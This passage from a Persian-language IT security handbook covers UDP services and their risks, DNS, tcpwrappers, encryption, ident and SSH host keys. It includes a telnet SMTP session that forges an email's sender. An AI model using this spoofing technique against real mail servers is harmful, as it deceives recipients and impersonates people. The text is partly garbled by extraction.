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و ) SUN) NISستم اطلاعات شبكة  در درجة اول در سيUDP. وري داشته باشنداطلاعات بهره در ارسال TCP برابر ١٠بتوانند تا 
در  UDPهمچنين از . رودبراي بدست آوردن نام ميزبانها و نيز انتقال اطلاعات مسيريابي بكار مي) NFS(سيستم فايل شبكه 

 مثلاً به اين دليل كه در مدت زمان كوتاهي يك -پذيرند خدماتي كه از نرسيدن هر از چندگاه يك بسته تأثير منفي چنداني نمي
  .  نيز كاربرد دارد-كنند و يا اينكه آن اطلاعات از اهميت چنداني برخوردار نيست ستة مرتبط ديگر با اطلاعات مشابه دريافت ميب

هر بستة . شوند نيز از يك پورت در ميزبان فرستنده به يك پورت در ميزبان گيرنده ارسال ميUDPهاي ، بستهTCPهمانند 
UDPاي روي آن پورت خاص به انتظار ايستاده و آمادة دريافت بسته باشد، اگر برنامه. ربر نيز هستهاي كا همچنين محتوي داده

شود و ميزبان گيرندة پيام يك پيغام اي روي آن پورت منتظر بسته نباشد، به بسته توجهي نمياگر برنامه. بسته دريافت خواهد شد
تظر دريافت پيام باشد ولي آمادگي دريافت آنرا نداشته باشد، بسته چنانچه يك برنامه روي آن پورت من. فرستد ميICMPخطاي 

  . شدن باقي بماند تا نهايتاً دريافت شود و يا از دست برودتواند در يك صف در نوبت دريافتمي

 تواند بهگستر پخش عمومي شود، به اين معني كه ميهاي عامتواند روي شبکه ميUDP، يك بستة TCPهاي برخلاف بسته
گستر هر از چندگاه براي هاي عامبسته. يك پورت خاص روي همة ميزبانهايي كه روي شبكة محلي يكساني قرار دارند ارسال گردد

  .روندخدماتي مثل اعلام ساعت روز بكار مي

ن  را نشاUDPب برخي پورتهاي منتسب به تعدادي از خدمات معمول -٥جدول . شوند بيتي مشخص مي١٦پورتها با اعداد 
برداري وجود دارد كه مشابه جدول قبلي، نوع مخاطرة هريك نيز مشكلات امنيتي و ضعفهاي قابل بهره UDPدر خدمات . دهد مي

  .از آنها در مقابلشان ذكر شده است

  :بعبارت زير است UDPبندي نگرانيهاي امنيتي خدمات دسته
  د و حملة تخريب سرويس را آغاز کرد؛توان سرويس را از راه دور مورد سوء استفاده قرار دا مي  .الف

 ساده و بدون هيچگونه رمزگذاري در اينترنت منتقل شود؛ وپروتكل نياز دارد كه رمز عبور بصورت متن  .ب 
 استفاده كند، و اين مسئله در معرض تهديد IPبراي تصديق هويت از آدرسهاي اي پيكربندي شده كه گونهسرويس معمولاً ب  .ج 

 .باشدع مشابه حملات ميسازي و ساير انواگمراه
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  UDPبرخي از خدمات و پورتهاي معمول . ب-٥جدول   .د 

  پيشنهاد وضعيت استفاده  نگرانيها  عملكرد  نام سرويس TCPپورت 

٧  echo  
 datagramهاي كاربر را از طريق يك  داده

  غيرفعال كنيد الف  گرداندديگر بازمي

٩  discard دهد كاري انجام نمي      
١٣  daytime  غيرفعال كنيد الف  گرداند روز را برميساعات  
١٩  charger غيرفعال كنيد الف  مولد كاراكتر  
٣٧  time غيرفعال كنيد الف  گرداند ساعت روز را برمي  

٥٣  domain  سرويس نام دامنه(DNS)  ج 
هاي عمومي نام دهندهجز در سرويس

  دسترسي را محدود كنيد
 bootpc  ٦٨ و ٦٧

bootps وياي ميزبان پروتكل پيكربندي پ)DHCP(    دسترسي را محدود كنيد  
٦٩  tftp   پروتكل انتقال جزئي فايل(TFTP)  غيرفعال كنيد ج  

١١١  sunrpc  
) RPC(نگاشتگر پورت در فراخواني از راه دور 

 Sunشركت 
  دسترسي را محدود كنيد ج

١٣٩، ١٣٧ ،
٤٤٥  Smb د كنيددسترسي را محدو   سازي شركت مايكروسافت اشتراك فايل و شبكه  

١٢٣  ntp  پروتكل زمان شبكه(NTP)    دسترسي را محدود كنيد  
١٦١  snmp  مديريت سادة شبكه  پروتكل (SNMP)  غيرفعال كنيد، يا دسترسي را محدود نماييد ب، ج  

٥١٣  who  
آوري پيامهاي پخشي عمومي در مورد اينكه جمع

 چه كسي به ساير ماشينهاي زيرشبكه وارد شده
    

٥١٤  syslog دسترسي را محدود كنيد الف  بليت ثبت سيستميقا  
٥١٧  talk ايجاد درخواست صحبت      
٥١٨  ntalk  جديد"درخواست صحبت"      

٥٢٠  route   پروتكل اطلاعات مسيريابي)RIP( ج 
و ) مسيريابي ايستا را بكار بريد(غيرفعال كنيد 

  يا دسترسي را محدود نماييد
٥٣٣  netwall غيرفعال كنيد الف  نوشتن در پايانة هر كاربر  
٢٠٤٩  NFS) ًسيستم فايل شبكه  )معمولا(NFS) دسترسي را محدود كنيد  ج  
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  هادهندهها و سرويسگيرندهسرويس

هاي شوند با برنامه گيرنده ناميده ميهايي كه سرويس برنامه. دهنده استسرويس/ گيرنده پروتكل اينترنت بر اساس مدل سرويس
ها نيز منتظر برقراري اين اتصالات دهندهكنند، و سرويسده اتصالاتي را از طريق شبكه برقرار ميدهنديگري به نام سرويس

اي است گيرنده برنامهبرنامة سرويس. باشددهنده، سيستم زمان شبكه ميسرويس/ گيرنده يك نمونه از يك جفت سرويس. هستند
اي است كه منتظر اين درخواستها است و زمان دهنده هم برنامهسبرنامة سروي. پرسددهندة شبكه، زمان را ميكه از سرويس

شوند و منتظر درخواستهاي كاربر زمينه اجرا مي اي كه در پسدهندههاي سرويس برنامه،Unixدر دنياي . كندصحيح را اعلام مي
  .شوده ميگفت) خدمت (serviceها  مشهورند و در دنياي مايكروسافت به اين برنامهdaemonهستند به 

) SMTPپورت  (٢٥توانيد به پورت  مثلاً مي٢٩٢.توانيد به هر پورت دلخواه يك رايانه متصل شويد ميtelnetبا استفاده از برنامه 
  :متصل شويد تا بدون اينكه از برنامة اصلي پست الكترونيكي استفاده كرده باشيد، يك نامة الكترونيكي جعلي بفرستيد

% telnet control.mil 25 
Trying 45.1.12.2 ... 
Connected to hq.control.mil. 
Escape character is '^]'. 
220 hq.control.mil ESMTP Sendmail 8.11.6/8.11.6; Sun, 18 Aug 2002 21:21:03 –0500 
HELO kaos.org 
250 hq.control.mil Hello kaos.org, pleased to meet you 
MAIL FROM:<agent86@control.mil> 
250 <agent86>... Sender ok 
RCPT TO:<agent99@control.mil> 
550 <agent99>... Recipient ok 
DATA 
354 Enter mail, end with “.” on a line by itself 
To: agent99 
From: Max <agent86> 
Subject: tonight 
 
99, I know I was supposed to take you out to dinner tonight, but I have been captured by KAOS 
agents, and they 
won't let me out until they finish torturing me. I hope you understand. Love, Max 
. 
250 UAA01441 Message accepted for delivery 
QUIT 
221 hq.control.mil closing connection 
Connection closed by foreign host. 
% 

  DNSنام ميزبان و 

نام ميزبان استفاده از اينترنت را براي كاربران آسانتر . شودنامي است كه در اينترنت به يك رايانه نسبت داده مي" نام ميزبان"
 يك رايانه را تغيير داد اما نام IPتوان آدرس  همچنين مي.  استIPتر از آدرسهاي سازد، چراكه بخاطر سپردن آن بسيار ساده مي
 IP تعلق داشته باشد و يك آدرس IPتواند به بيش از يك آدرس  يك نام ميزبان مي. يزبان آنرا به همان نام قبلي باقي گذاشتم

اي ايمن بنويسند تأثيرات  هاي شبكه خواهند برنامهاين دو مورد بر كار كسانيكه مي .تواند بيش از يك نام ميزبان داشته باشد نيز مي
  .گذارندعميقي مي

                                                                                                                                            
ديگر بهيچوجـه    telnetفرستد، اين كاربرد    رفت، ولي از آنجا كه رمز عبور را بصورت رمزنشده مي          ين برنامه در ابتدا بمنظور ورود به سيستمها از راه دور بكار مي            ا   ۲۹۲

  .شودتوصيه نمي
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تواند حاوي حروف، شماره و يا برخي نمادها همچون خط فاصله ميزبان بايد با يك حرف يا يك شماره آغاز شود و در ادامه مي نام
 tock.cerias.purdue.eduمثالي از يك نام ميزبان .  حروف كوچك و بزرگ در نام ميزبان با يكديگر تفاوتي ندارند٢٩٣.باشد
  ٢٩٤.است

نام رايانه اسمي است كه در سمت چپ نقطة اول است؛ و نام . نام رايانه، و نام دامنة آن: يل شدههر نام ميزبان از دو بخش تشك
 و نام دامنة آن tockبراي نمونه در مثال قبل نام رايانه . گيرد دامنه نيز همة آن چيزي است كه در سمت راست آن نقطه قرار مي

cerias.purdue.eduها مراتبي از دامنهنقطه وجود داشته باشد، آن نام دامنه نمايانگر سلسلهدرصورتيكه در خود نام دامنه .  است
 را Purdue است كه بخشي از دامنة دانشگاه CERIAS معرف دامنة مركز cerias.purdue.eduبعنوان مثال . خواهد بود
  .باشد مي) edu(دهد، و به نوبة خود بخشي از دامنة سطح بالاتر مؤسسات آموزشي تشكيل مي

اما با بزرگ شدن اندازة فايل به هزاران . هاي اينترنت در يك فايل واحد بود آغاز پيدايش اينترنت، همة نامها و آدرسهاي رايانهدر
روز نگهداري آن عملاً غيرممكن شد و بجاي آن يك خط و از آنجا كه تغيير در فهرست نامها كم كم به امري روزانه تبديل شد، به

  .نام گرفت) DNS(مبتني بر شبكه بوجود آمد كه خدمات نام دامنه شدة نام سرويس توزيع

. سازي شده است و بالعكس و انجام اعمال مربوطه پيادهIPشده براي ترجمة نام ميزبان به آدرس ، يك پايگاه دادة توزيعDNSدر 
بعنوان مثال يك رايانه براي . دهد مجزا انجام مي براي ترجمة هر بخش از نام ميزبان، اينكار را بطور افزار با استفاده از شبكه اين نرم

جويد و از  را مي) كه معمولاً در يك فايل ذخيره شده(دهندة اصلي نام  ابتدا آدرس يك سرويسgirigiri.gbrmpa.gov.auترجمة نام 
 در مورد آدرس au از سرويس دهندة دامنة  سپس رايانه. كند  را درخواست ميauدهندة دامنة سطح بالاي آن آدرس سرويس

gov.auكند و با پيدا كردن آن رايانه، آدرس   سؤال ميgbrmpa.gov.auدهندة دامنة پرسد، و در نهايت از سرويس را از آن مي
gbrmpa.gov.au آدرس رايانة girigiri.gbrmpa.gov.auدر فرآيند ترجمة نام ميزبان به آدرس . شود را جويا ميIP ، انواع
  .شوند  براي كاهش ترافيك كلي شبكه نيز بكار گرفته ميcachingاي مختلفي از تكنيكه

 براي بعضي از عمليات خود از DNSگيرد، اما  انجام ميUDPهاي  بدنبال نام ميزبانها معمولاً بوسيلة بستهDNSجستجوهاي 
TCPكند هم استفاده مي.  

  IPامنيت 

حملات از جمله حدس زدن رمز عبور، مهندسي اجتماعي، اشكالات  در مقابل بسياري از انواع IPپروتكل اينترنت و پروتكل 
بسياري . پذير استها، ربودن اتصال، و حملات تخريب سرويس آسيب سازي بسته، دستكاري دادهباني شبكه، گمراهافزاري، ديده نرم

پروتكلها هنوز تدبير مناسبي براي بيني شده بودند، و با اينحال اين  از اين حملات سالها پيش از اينكه در عمل رخ دهند پيش
  .حفاظت در مقابل آنها ندارند

IPهاي توان امنيت شبكه براي ايجاد امنيت طراحي نشده و در مقابل حملات عمدي مقاوم نيست، اما با تكنيكهاي مختلفي ميIP 
، و SSHستمهاي تصديق هويت پيشرفته، برخي از اين تكنيكها عبارتند از كنترلهاي دسترسي برنامه، رمزنگاري، سي. را افزايش داد

علاوه بر اينها اقداماتي چون استفاده از . اندهر يك از اين موارد ذيلاً به تفصيل شرح داده شده). هاي عسلكوزه(سيستمهاي طعمه 
، و )ورد بررسي قرار گرفت از همين بخش م٥كه در فصل (دهنده ، مقاوم ساختن ميزبانهاي سرويس)كه پيشتر توضيح داده شد(هاي آتش  ديواره

  .توانند براي بالا بردن سطح امنيت بكار روندپذير از شبكه نيز ميجدا كردن فيزيكي سيستمهاي آسيب

                                                                                                                                            
كنند بطور لجوجانه زيرخط را قبول نگاشت مي IPميزبانها را به آدرس  ميزبانها نبايد حاوي زيرخط باشند، اما بسياري از سيستمهايي كه نام از نظر فني، نام   ۲۹۳

  .باشدمي RFCبرخلاف حداقل يك اين امر ، كه الزامي كردهخود استفاده از آن را  Active Directoryسرويس كنند و مايكروسافت نيز در  مي
 . مراجعه كنيد۱۱۲۳ و ۱۱۲۲شمارة هاي RFCبه توانيد ميبراي اطلاعات بيشتر در مورد نام ميزبان   ۲۹۴
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  كنترلهاي دسترسي برنامه

ا دارند كنند كدام ميزبانها اجازة اتصال به برنامه رتوان با فهرستهاي كنترل دسترسي كه تعيين ميهاي شبكه را ميبسياري از برنامه
  ).توان تعيين كرد كه چه ميزبانهايي اجازة برقراري ارتباط را ندارنددر يك پيكربندي با امنيت كمتر كه رواج بيشتري دارد نيز مي. (پيكربندي كرد

 وجود tcpwrapper٢٩٥ها حول يك نوع خاص از سيستم  يك مكانيزم استاندارد كنترل دسترسي براي برنامهUnixدر سيستمهاي 
 براي اضافه كردن wrapper، يك برنامة )lipwrap(متشكل است از يك كتابخانه براي بررسي كنترل دستيابي  اين سيستم .دارد

، و دو فايل پيكربندي كنترل دسترسي )tcpd(كنند هاي شبكه كه از اين كتابخانه استفاده نميدهندهكنترلهاي دسترسي به سرويس
)etc/hosts.allow و /etc/hosts.deny .( ،در سيستمهاي جديد/etc/hosts.denyگير  بايد شامل يك ضابطة منع همه)”ALL:ALL” (

  .شده باشد بايد شامل ضوابطي براي اجازة دسترسي به خدمات خاص توسط ميزبانهاي از پيش تعيينetc/hosts.allow/و 

ستجوي بالعكس نام، ثبت اضافه، جستجوي توانند عملياتي چون ج  علاوه بر قبول يا رد اتصالات ميtcpwrapperسيستمهاي 
ident  شوند، و حتي اجراي هايي كه متصل ميگيرنده، ارسال پيامهاي اتصال به سرويس)در ادامه توضيح داده شده(روي اتصالات

ها tcpwrapperبه همين ترتيب . شونده به شبكه را نيز انجام دهندهاي متصلگيرندهدستورات كمكي براي بررسي رفتار سرويس
  ٢٩٦.دهندة شبكه را جبران كنندهاي سرويساي ساير برنامه توانند نقايص برنامه مي

و يا از صافيهاي بسته مبتني (كند عاملهاي ديگر معمولاً هر برنامه فهرستهاي كنترل دسترسي خود را نگهداري و مديريت مي در سيستم
  ).نمايدبر ميزبان سيستم استفاده مي

   از استراق سمعIPهاي  ي براي حفاظت شبكهاستفاده از رمزنگار

هاي ديگر آن شبكه   به رايانة ديگر طراحي شده و هيچ تضميني در مورد اينكه رايانه ها از يك رايانه  براي انتقال بستهIPپروتكل 
  .كندها در همان لحظه هستند يا خير ارائه نمي قادر به دريافت و خواندن بسته

ها را دريافت كند، تواند بسته ، از آنجا كه هر ميزبان روي شبكه ميEthernetهاي ئيچ و شبكههاي سيمي بدون سو در شبكه
. اي كاهش دهد تواند امكان استراق سمع را بطور قابل ملاحظه  ميEthernetسوئيچ استفاده از يك . امكان استراق سمع بالا است

ريزي سوئيچ با اين وجود با برنامه. فرستدهاي مقصد آنها مي يانهها را تنها به را يك ابزار مخصوص شبكه است كه بستهسوئيچ 
براي ايجاد يك پورت انعكاسي يا يك پورت نظارت، و يا با حمله به سوئيچ براي به هم ريختن جداول داخلي آن كه مربوط به 

 token ringهاي هرچند شبكه. اردهاي سوئيچ نيز وجود دشود، امكان نظارت بر ترافيك شبكهاي ميها و آدرسهاي شبكهرايانه
هاي انتقالي در آنها بطور متوسط از نيمي از واسطهاي روي شبكه عبور گستر نيستند، اما در عمل تمام بستههاي عامذاتاً شبكه

هاي كههمانطور كه پيشتر در همين فصل بحث آن شد، خطوط تلفن و شب. كنند و لذا نگرانيهاي مشابهي در آنها نيز وجود دارد مي
تواند مورد  روي خطوط تلويزيون و يا خطوط برق نيز ميIPتوان شنود كرد؛ و به همين ترتيب انتقالات سيم را نيز ميبي

  .سمع قرار گيرد استراق

سمع ممكن نيست و تنها بايد فرض را بر آن خلاصة مطلب اينكه در بيشتر فناوريهاي شبكه، جلوگيري و يا حتي شناسايي استراق
. سمع قرار دارد و سعي كرد با استفاده از رمزگذاري، آنرا براي مهاجم غيرقابل استفاده نمودت كه ترافيك شبكه مورد استراقگذاش

اري نيز آدرسها و پورتهاي مبدأ و مقصد توسط مهاجم قابل كشف و ذرمزگدرصورت استفاده از حتي البته بايد درنظر داشت که 
  .دهستناستفاده براي تحليل ترافيك 

  : كمك كندIPتواند به افزايش امنيت رمزگذاري به طرق مختلفي مي

                                                                                                                                            
295  Wietse Venemas’ Tcpwrapper System 

  . مراجعه كنيدPUISب  كتا۳۲۳ تا ۳۱۵ به صفحات tcpwrapperبراي جزئيات بيشتر درمورد پيكربندي    ۲۹۶
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  رمزگذاري در سطح ارتباط
اي ناامن بطور خودكار رمزگذاري و پس دريافت ها درصورت انتقال روي يك ارتباط دادهبا رمزگذاري در سطح ارتباط، بسته

رمزگذاري . ها را رمزگشايي كندداند چگونه بايد بستهجم نميخورد، چون مهابا اينكار استراق سمع شكست مي. شوندرمزگشايي مي
 يا Ethernetگستر شبكه مثل هاي راديويي وجود دارد، اما در ساير فناوريهاي عام در سطح ارتباط در بسياري از محصولات شبكه

FDDIاندصي ارتباط نيز بوجود آمدهبراي مودمها و ارتباطات خطوط مستقيم استيجاري، رمزگذارهاي اختصا. شود كمتر يافت مي.  

  رمزگذاري در دو انتها
ها در طرف ديگر، اين محتويات بطور  كند و هنگام دريافت بستهها را رمزگذاري مي در اين روش ميزبان فرستنده، محتواي بسته

هاي مسيرياباينترنت از سازمانهايي كه در بيش از يك موقعيت فيزيكي قرار دارند براي اتصال به . شوند خودكار رمزگشايي مي
شوند را بمنظور  هايي كه از يك ادارة شركت به ادارة ديگري فرستاده مي ها بطور خودكار بستهمسيرياباين . گيرند رمزگذار بهره مي

هايي  ؛ اما در عين حال بسته)شود  شناخته ميVPNاين روش تحت عنوان (كنند  جلوگيري از استراق سمع مهاجمان اينترنتي رمزنگاري مي
  .نمايندشوند را رمزگذاري نميكه از سازمان به پايگاههاي ديگر فرستاده مي

 توضيح داده ٢٤٠١ شمارة RFCكه در (گيرد   انجام ميIPsecامروزه اين نوع رمزگذاري در سطح بسته بطور عام با استفاده از پروتكل 
اطات ميان دو ميزبان، ارتباطات ميان يك ميزبان و يك توان براي رمزگذاري غيرمحسوس تمامي ارتب  را ميIPsec). شده است

 روش قدرتمندي براي رمزگذاري خودكار سيستمهايي است كه IPsecاستفاده از . شبكه، و يا ارتباطات ميان دو شبكه بكار برد
  .قابليت رمزگذاري ندارند

  رمزگذاري در سطح برنامه
 از Kerberosبعنوان مثال نسخة . ها انجام دادرمزگذاري را در سطح برنامهتوان  افزارها براي رمزگذاري، مي بجاي اتكا بر سخت

پروتكل پوستة امن .  را در هر دو جهت رمزنگاري كندtelnet قادر است بطور خودكار محتويات جريانهاي دادة telnetدستور 
(ssh)دهد ها را انجام مي  نيز بطور خودكار رمزگذاري جريان داده.  

تواند از طريق ايجاد تونل يا استفاده از يك پروتكل ثانويه روي يك پروتكل سطح برنامه   برنامه همچنين ميرمزگذاري در سطح
 بتوانند TCP/IPآورد كه پورتها و اتصالات بعنوان مثال پروتكل پوستة امن اين امكان را بوجود مي. كه درحال كار است انجام گيرد

 روي TLS و SSLبا استفاده از پروتكلهاي . به ميزبان ديگر منتقل شونداز طريق يك تونل رمزنگار از يك ميزبان 
  .توان به همين صورت ايمن نموداي، آنها را نيز ميهاي منفرد برنامهگيرندهها و سرويس دهنده سرويس

همانطور كه در . دسازي شواستفادة صرف از رمزنگاري كافي نيست، بلكه براي ايجاد حفاظت، رمزگذاري بايد بصورت صحيح پياده
بهيچوجه محرمانگي ) 802.11b) WEPسيم مبتني بر پروتكل  هاي محلي بيبالا بحث شد، استاندارد اصلي رمزگذاري براي شبكه

 كار WEPسازي آن دچار نقص است و يافتن كليد رمزگذاري مورد استفاده در سيستمهاي  كند؛ چراكه پياده واقعي را ايجاد نمي
  .چندان مشكلي نيست

  سيستمهاي تصديق هويت پيشرفته

تواند اطلاعاتي را  دهند و به همين دليل مهاجم مي ، سيستم قدرتمندي براي تصديق هويت ايجابي ارائه نميIPبسياري از خدمات 
فقدان تصديق هويت ايجابي، مشكلاتي را خصوصاً براي . اندبفرستد و ادعا كند كه آن اطلاعات از مبدأ ديگري فرستاده شده

 چه -در تمام اين خدمات، گيرندة پيام . كند ايجاد مي) هاUsenet(هاي خبري  ، پست الكترونيكي، و نيز شبكهDNSدماتي نظير خ
 احتمالاً بر اساس محتواي پيام يك عمل اثباتي انجام خواهد داد، مستقل از اينكه فرستندة پيام -يك رايانه و چه يك انسان 

  . نهبدرستي تصديق هويت شده باشد يا
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اي و تصديق هاي منطقه  از امضاي رمزشدة دادهDNS. اندبراي هر يك از اين خدمات، سيستمهاي تصديق هويت بوجود آمده
هاي پستي قادرند فرستندگان دهندهسرويس. كند هاي نام با استفاده از كليد خصوصي مشترك پشتيباني ميدهندههويت سرويس

توان با هاي خبري را نيز ميبراي يك پايگاه داده تصديق هويت كند و پيامهاي شبکه SMTP AUTHمعتبر را با استفاده از 
  .با اينحال امروز كاربرد اين سيستمها چندان گسترده نيست.  امضاي رمزنگاري كردPGPافزار  نرم

IPsecمال زيادي وجود دارد كه احت. كند كه در بالا توضيح داده شد، امكان تصديق هويت در سيستمهاي مشابه را نيز فراهم مي
شود از همان منبعي باشد كه ادعاي آنرا دارد، اما در بيشتر خدمات   اينچنيني دريافت ميVPN كه از طريق يك IPترافيك 

  .شود استفاده نميVPNاينترنتي از 

ident  
ها است و  ارتباطي ميان رايانه براي ايجاد كانالهاي TCP/IPشود كه پروتكل بسياري از مشكلات تصديق هويت از آنجا ناشي مي

با اين . داند  آنرا ميIP  كند، آدرس  دريافت ميTCP/IPگيرنده يك اتصال دهنده از سرويسهنگاميكه سرويس. نه ميان كاربران
  . را برقرار كرده در دست ندارندTCP/IPها هيچ راهي براي اطمينان از نام شخصي كه ارتباط دهندهوجود سرويس

شد كه با استفاده از آن بتوان نام افرادي كه اتصالهاي  بوجود آمد نيازي به يك روش كلي احساس نميTCP/IPتكل زمانيكه پرو
TCP/IPبعنوان مثال (دانستند سازند را كشف كرد، و اينكار بعدها و با استفاده از پروتكلهايي كه نام كاربري را الزامي مي  برقرار مي

SMTP ،FTP (ها دليل مهمي براي يافتن نام آغازگران اتصالات ينترنت، مديران شبكهبا رشد ا. عملي شدTCP/IP پيدا كردند؛ و 
 كاربري از يك رايانه به ١٧:٠٠اگر راهبر راه دور يك سيستم متوجه شود كه در ساعت ". پذيريمسئوليت"آن دليل چيزي نبود جز 

ايد بتواند اين حمله را ردگيري كند و كاربر و حساب كاربري مسئول  رايانة او را مورد حمله قرار داده، بfas.harvard.eduنام 
  .حمله را شناسايي نمايد، تا آن كاربر تنبيه شده و يا حساب كاربري مورد استفاده مسدود گردد

هنده قصد دزمانيكه يك سرويس. كندپروتكل شناسايي با استفاده از يك روش سادة تماس معكوس، شما را قادر به انجام اينكار مي
گيرنده روي رايانة سرويس) ident daemon )identd ببرد، ابتدا يك اتصال با TCP/IPدارد پي به نام واقعي آغازگر اتصال 

فرستد؛ و سپس رايانة راه دور نيز اطلاعات كاربر آغازگر اتصال را در  جاري به آن ميTCP/IPبرقرار ساخته و توصيفي از اتصال 
  .فرستدواندن بازپس ميقالب يك فايل قابل خ

 identdسازيهاي اخير شد نام كاربري كاربر بود، اما پيادهكننده فرستاده ميدر گذشته تنها اطلاعاتي كه در پاسخ سيستم درخواست
 با تواند در پايگاه راه دور و اين نشان پس از اين مرحله مي. كنندامكان بازپس فرستاده شدن يك نشان رمزشده را نيز فراهم مي

اين مسئله باعث جلوگيري از افشاي نام كاربري كاربران يك ميزبان راه دور با .  رمزگشايي شودidentdمشاركت سايت اجراكننده 
  .شود  و بدون مشاركت خود آن ميزبان ميidentdاستفاده از 

گر از طرف يك سيستم چندكاربره ا.  داردTCP/IPعملكرد پروتكل شناسايي تا حد زيادي بستگي به صداقت رايانة آغازگر اتصال 
 ارزشمند خواهد بود، اما اگر سيستم از طرف يك identdكه مورد سوء استفاده قرار نگرفته به رايانه حمله شده باشد، در آنصورت 

غلط و كند اطلاعات   استفاده ميidentd است و يا اگر از identdكاربره مورد حمله قرار گرفته باشد كه فاقد سيستم رايانة تك
ها را ملزم به گيرنده اينترنتي، سرويسعموميهاي بزرگ گفتگوي  از آنجا كه شبكه. دهد، پاسخ فاقد ارزش است كننده ميگمراه

 زيادي وجود دارند كه پاسخهاي جعلي Windowsمبتني بر هاي "ident daemon"كنند، لذا   ميident daemonاجراي يك 
  .دهند ارائه مي

کند مورد استفادة راهبران پايگاهي هستند كه پاسخ را  بيش از پايگاهي که پاسخ را دريافت ميidentdبطور كلي پاسخهاي 
 اين -تواند کمکي به ديگران باشد   به شما كمكي نكند، اما ميidentdهاي queryبنابراين هرچند ممكن است ثبت . فرستد مي

چنين اطلاعاتي . كندر حملة احتمالي شركت داشته است كمك مياطلاعات به پايگاه راه دور در كشف آن حساب كاربري كه د
  .خصوصاً زماني مفيد خواهد بود كه مهاجم فايلهاي ثبت را پاك كرده و يا به پايگاه مبدأ صدمه وارد آورده باشد

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٤٠٦ 

اي داراي سيستمهاي  در شناسايي مهاجماني بوده كه حملات خود را از دانشگاهها و يا ساير سازمانهidentdبيشترين استفاده از 
 Unixپايگاههاي داراي كاربران بدون امتياز دسترسي كه بصورت تعاملي با سيستمهاي . اندداده انجام ميUnixبزرگ و چندكاربرة 

  .اندازي كنند  را راهidentdكنند بايد براي كمك به رديابي حسابهاي كاربري درگير در رخداد، كار مي

  )SSH(پوستة امن 

SSHبرداري از فايلها، و  شكل گرفت پروتكلي با قابليت رمزنگاري براي ورود از راه دور، نسخه٢٩٧تاتو ايلوننبتدا توسط  كه در ا
 در ابتدا فقط بصورت يك SSHاگرچه پروتكل ). شناسندنيز مي" هدايت پورت" آنرا بعنوان SSHكه كاربران ( است TCPتونل زدن اتصال 

سازيهاي مختلف اين پروتكل توسط دهها برنامه و روي بسترهاي زي شده بود، اما امروزه پيادهسا پيادهUnixابزار در خط فرمان 
 كه در پروژة OpenSSH اولية ايلونن، و نيز SSHعبارتند از  SSHسازيهاي محبوبترين پياده. شود گوناگون بكار گرفته مي

Open-BSDدهندة تجاري سرويسگيرنده و هاي سرويسعلاوه بر اينها برنامه.  بوجود آمدSSH نيز وجود دارند.  

SSHهاي زيادي شود كه  تواند جايگزين پروتكلها و برنامه  به يك قسمت حياتي زيربناي امنيتي شبكه تبديل شده؛ چراكه مي
بليت تونل زدن بعلاوه قا). ftp و telnet ،rlogin ،rsh ،rcp ،rdistاز جمله (دهند  ساده انتقال ميهمگي رمزهاي عبور را بصورت متن

 پشتيباني مخصوصي SSH. آوردهاي خصوصي مجازي را نيز بوجود مي  بعنوان پاية شبكهSSH امكان استفاده از TCPاتصال 
  . داردX-Windowsبراي تونل زدن پروتكل 

براي تصديق نسخة اول . دهندها اجازة تبادل رمز متقارن را مي بوجود آمده كه هر دوي اين نسخهSSHدو نسخه از پروتكل 
 و تبادل كليد اوليه مبتني است و نسخة دوم با استفاده از RSAهويت و تبادل اولية كليد، بر الگوريتم رمزگذاري كليد عمومي 

 پروتكل را گسترش داده و بسياري از معايب نسخة اول را نيز اصلاح كرده RSA و DSAالگوريتمهاي رمزگذاري كليد عمومي 
  .شوداده از نسخة دوم اين پروتكل توصيه ميبه همين دليل استف. است

  SSHتصديق هويت ميزبان توسط 

 خاص خود RSAشود، زوج كليد عمومي و خصوصي  روي آن اجرا ميSSHدهندة فرض بر اين است كه هر ميزبان كه سرويس
 DSAكليد "اي نيز دارند كه نويهكليد ثاهاي نسخة دوم، جفتدهندهسرويس. را دارا است) شود ناميده ميSSH٢٩٨كليد ميزبان كه (

 اگر اين كليد از قبل - SSHاندازي هاي راهبرنامهغالب قطعه. كند  استفاده ميDSAنام دارد و از الگوريتم رمزگذاري " ميزبان
  .كنند دهنده بصورت خودكار ايجاد مياندازي سرويس آنرا هنگام اولين راه-وجود نداشته باشد 

اين كليد دو . دهد دهنده كليد عمومي خود را ارائه ميشود، سرويس دهنده متصل مي به سرويسSSHندة گيرزمانيكه يك سرويس
دهنده گيرنده از اين كليد براي رمزگذاري اطلاعاتي كه در طول عمليات تصديق هويت به سرويساول اينكه سرويس. كاربرد دارد

گيرنده به  هر بار كه يك سرويس. نده بعنوان معرف هويت آن استدهكند؛ و دوم اينكه براي سرويسفرستد استفاده ميمي
تواند در هر بار اتصال به دهد و بنابراين مشتري مي دهنده كليد عمومي يكساني ارائه ميشود، سرويس دهنده متصل ميسرويس
  .دهندة قبلي در تماس استدهنده تشخيص دهد كه با همان سرويسسرويس

. دهد كه با ميزبان صحيح در ارتباط هستيداول اينكه به شما اطمينان مي. كندو نوع حمله ايجاد محافظت ميكليد ميزبان در برابر د
و يا اگر شخصي به ( جديدي داشته باشد DNS خود را تغيير داده باشد و يا نام IPاگر ميزباني كه قصد ارتباط با آنرا داريد آدرس 

شود كه ميزبان جديد يك   متوجه ميSSHگيرندة ، سرويس) ناصحيح را توزيع كندIPرسهاي  شما حمله كرده و اين سيستم آدDNSسيستم 
دوم اينكه با كليد . شويد كه نبايد رمز عبور خود را وارد كنيدكليد ميزبان متفاوت از آدرس قديمي دارد و در آنصورت شما متوجه مي

اي در طول مسير دهندة راه دور خواهيد داشت و هيچ رايانه سرويسيابيد كه يك ارتباط رمزشده و مستقيم با ميزبان اطمينان مي

                                                                                                                                            
297  Tatu Ylonen 
298  SSH HostKey 
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براي انجام يك حملة موفق از اين نوع، مهاجم ناچار به استفاده از كليد عمومي . نيست" شخص در ميان راه"قادر به انجام حملة 
  . يك كليد عمومي كه كليد خصوصي متناظر آنرا داشته باشد-خود است 

عامل جديد نصب   گاهي هنگاميكه كه يك سيستم-كنند  رسد كه كليدهاي ميزبان طبق قاعدة منظمي تغيير ميمتأسفانه بنظر مي
 به اشتباه بجاي حفظ كليد قبلي و استفاده از آن يك كليد ميزبان جديد توليد SSHشود، يا زمانيكه يك نصب جديد از  مي
دهنده مورد ارتباط تغيير كند، نبايد بلافاصله نتيجه گرفت كه سرويسدهندة طرف بنابراين هرگاه كليد ميزبان سرويس. نمايد مي

  . درحال وقوع است؛ بلكه بايد ديد كه دليل تغيير كليد چه بوده است" شخص در ميان راه"سوء استفاده قرار گرفته و يا يك حملة 

